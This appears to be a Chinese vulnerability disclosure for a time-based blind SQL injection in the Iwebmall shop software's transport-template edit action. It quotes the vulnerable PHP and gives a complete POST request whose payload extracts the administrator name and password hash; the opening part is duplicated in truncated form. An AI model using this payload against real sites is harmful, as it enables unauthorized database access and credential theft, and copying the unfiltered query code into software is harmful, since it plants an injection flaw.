### 简要描述: Iwebmall 最新版SQL注入第十四枚(漏洞打包) ### 详细说明: 看到wooyun上有人提了几个iweb的漏洞( [WooYun: iwebmall商城程序sql注入](http://www.wooyun.org/bugs/wooyun-2014-078282) ),我来捡捡漏儿吧,希望不要重复。 先把注入点拿出来:www.xxx.com/do.php?act=edit_transport_template,POST中的参数$id $transport_name $description存在注入,程序没有对其过滤,造成了注入。 先来看看这几个参数可以注入的证明吧 [<img src="https://images.seebug.org/upload/201412/170047441a844a374972f7ec8dbb9a5ac5daeb35.jpg" alt="证明多处注入漏洞副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/170047441a844a374972f7ec8dbb9a5ac5daeb35.jpg) 以transport_name 为例进行证明 /action/goods/edit_transport_template.php ``` 无关代码 //取得商品列表 $post = $_POST; $id = $post['id']; $arr = array(); $info['transport_name']=$post['transport_name']; $info['description'] = $post['description']; foreach ($post['transport_type'] as $k=>$v){ $arr[$v]=array(); } //查询开启的配送方式 $sql = "select * from $t_transport where ifopen=1"; $tran_list=$dbo->getRs($sql); //循环获得前台传来的值,通过tran_type字段作为数组下标 foreach ($tran_list as...
### 简要描述: Iwebmall 最新版SQL注入第十四枚(漏洞打包) ### 详细说明: 看到wooyun上有人提了几个iweb的漏洞( [WooYun: iwebmall商城程序sql注入](http://www.wooyun.org/bugs/wooyun-2014-078282) ),我来捡捡漏儿吧,希望不要重复。 先把注入点拿出来:www.xxx.com/do.php?act=edit_transport_template,POST中的参数$id $transport_name $description存在注入,程序没有对其过滤,造成了注入。 先来看看这几个参数可以注入的证明吧 [<img src="https://images.seebug.org/upload/201412/170047441a844a374972f7ec8dbb9a5ac5daeb35.jpg" alt="证明多处注入漏洞副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/170047441a844a374972f7ec8dbb9a5ac5daeb35.jpg) 以transport_name 为例进行证明 /action/goods/edit_transport_template.php ``` 无关代码 //取得商品列表 $post = $_POST; $id = $post['id']; $arr = array(); $info['transport_name']=$post['transport_name']; $info['description'] = $post['description']; foreach ($post['transport_type'] as $k=>$v){ $arr[$v]=array(); } //查询开启的配送方式 $sql = "select * from $t_transport where ifopen=1"; $tran_list=$dbo->getRs($sql); //循环获得前台传来的值,通过tran_type字段作为数组下标 foreach ($tran_list as $val){ $arr[$val['tranid']]['frist']=$post['frist'.$val['tranid']]; $arr[$val['tranid']]['second']=$post['second'.$val['tranid']]; if(isset($post['ord_item_dest'.$val['tranid']])){ foreach ($post['ord_item_dest'.$val['tranid']] as $k=>$v){ $v = substr($v,0,-1); $areaarr = explode(",",$v); foreach ($areaarr as $key=>$value){ $arr[$val['tranid']][$value]=array("frist"=>$post['ord_area_frist'.$val['tranid']][$k],"second"=>$post['ord_area_second'.$val['tranid']][$k]); } } } } $info['shop_id']= get_sess_shop_id(); $info['content'] = serialize($arr); if ($dbo->updatebyarr($info,$t_transport_template,"id='$id'")) { action_return(1,$m_langpackage->m_edit_success."!","modules.php?app=goods_list"); }else{ echo "no"; } 无关代码 ``` 再去看看updatebyarr() /iweb_mini_lib/cdbex.class.php ``` public function updatebyarr($info,$table,$con){ $i=0; foreach ($info as $key=>$value){ if ($i==0){ $change = "`$key`='$value'"; } else{ $change .=",`$key`='$value'"; } $i++; } $sql = "update `$table` set $change where $con"; return mysql_query($sql); } ``` 可以看到,$info['transport_name']没有经过任何过滤就带入了SQL语句查询,造成了注入。 Iweb没有错误回显,这里用time-based blind进行注入测试。 Payload: ``` POST /do.php?act=edit_transport_template HTTP/1.1 Host: 192.168.0.107 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh,zh-cn;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.0.107/modules.php?app=edit_transport_template&id=16 Cookie: AJSTAT_ok_times=8; bdshare_firstime=1414502402741; iweb_hisgoods[15]=1417531949; iweb_hisgoods[26]=1418653330; iweb_email=xxxx@163.com; iweb_iweb_login=xxxx%40163.com; PHPSESSID=l1g8disfqv5ov62d8j0m4msob6 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 257 id=16&transport_name=' or (select if(ord(mid((select admin_name from imall_admin_user where admin_id=1 limit 0,1),1,1))=122,sleep(3),0)) or '&description=description&transport_type%5B%5D=1&frist1=10&second1=20&frist2=0.00&second2=0.00&sub=%E7%A1%AE%E5%AE%9A ``` 测试时:登陆后访问如上的请求,抓包,按上面的payload进行修改即可。 因为是time-based blind 注入,猜测管理员用户名的第一个字母时,若错误,延迟2s左右,如下图 [<img src="https://images.seebug.org/upload/201412/170048306c2bfd1c198fd2f5098295b90fd66e51.jpg" alt="猜测失败副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/170048306c2bfd1c198fd2f5098295b90fd66e51.jpg) 若正确,延迟5s左右,如下图 [<img src="https://images.seebug.org/upload/201412/1700484119589e7d4bbf325af7799edf4d8be518.jpg" alt="猜测成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/1700484119589e7d4bbf325af7799edf4d8be518.jpg) 按上面的方法依次做下去(burp intruder或者自己写个脚本跑),可测试管理员用户名为:admin,密码为: 21232f297a57a5a743894a0e4a801fc3 ### 漏洞证明: 见 详细说明